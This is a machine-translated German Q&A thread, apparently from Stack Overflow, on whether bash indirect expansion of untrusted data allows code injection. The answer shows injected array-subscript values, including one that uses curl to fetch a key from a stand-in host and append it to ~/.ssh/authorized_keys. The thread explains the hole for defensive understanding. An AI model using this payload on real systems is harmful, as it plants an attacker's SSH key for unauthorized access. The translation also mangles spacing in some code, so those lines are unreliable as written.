2017-01-22 1 views
9

Angenommen, ich habe eine Variable, sagt x, die unbekannte, beliebige Daten enthält.

Besteht für die folgende indirekte Erweiterung die Gefahr von Codeinjektionen oder anderen Formen von Exploits?

ARBITRARY_COMMAND "${!x}" 

Ich weiß, es gibt Fälle, in denen die Art und Weise x für nützliche realen Szenarien zugewiesen wird selbst Risiken einführen und müssen ordnungsgemäß kontrolliert oder desinfiziert werden, aber ich gehe davon aus hier, dass x in aa initialisiert wurde Art und Weise, die keine Garantie für ihren Wert gibt, aber Exploits bis zu der oben gezeigten Erweiterung nicht ausgesetzt ist.

+3

Ich habe dir schon folgendes gegeben: 'x = 'a [$ (ls> & 2)]''. –

+0

Ich dachte, dies gilt für die Zuweisung, die das Äquivalent von "x" erstellt, nicht auf die Erweiterung selbst. Mein Fehler. – Fred

+0

@gniourf_gniourf Was ist das? – 123

Antwort

1

Kurz gesagt: JA, eine automatische Erweiterung unbekannter Daten ist potentiell gefährlich.

Antwort von gniourf_gniourf:

x = a [$ (ls> & 2)] '

wenn $ erweitert wird Bash $ erweitern {a [$ (ls {x!} > & 2)]}, das ist eine Array-Erweiterung, so dass der Begriff innerhalb der Array-Taste, nämlich $ (ls> & 2), wird erweitert ... und dies wird ls (mit Ausgabe an stderr so dass wir alle beobachten können, dass ls tatsächlich ausgeführt wird).

Statt ls könnten Sie zum Beispiel tun:

x='a[$(curl -s bad.us/pubkey >> ~/.ssh/authorized_keys)]' 

die, wenn sie durch ${!x} würde anhängen eine potentiell unfreundlichen öffentlichen Schlüssel zur authorized_keys Datei ausgewertet, die eine unfreundliche Person ermöglichen könnte, in ssh ihr Konto.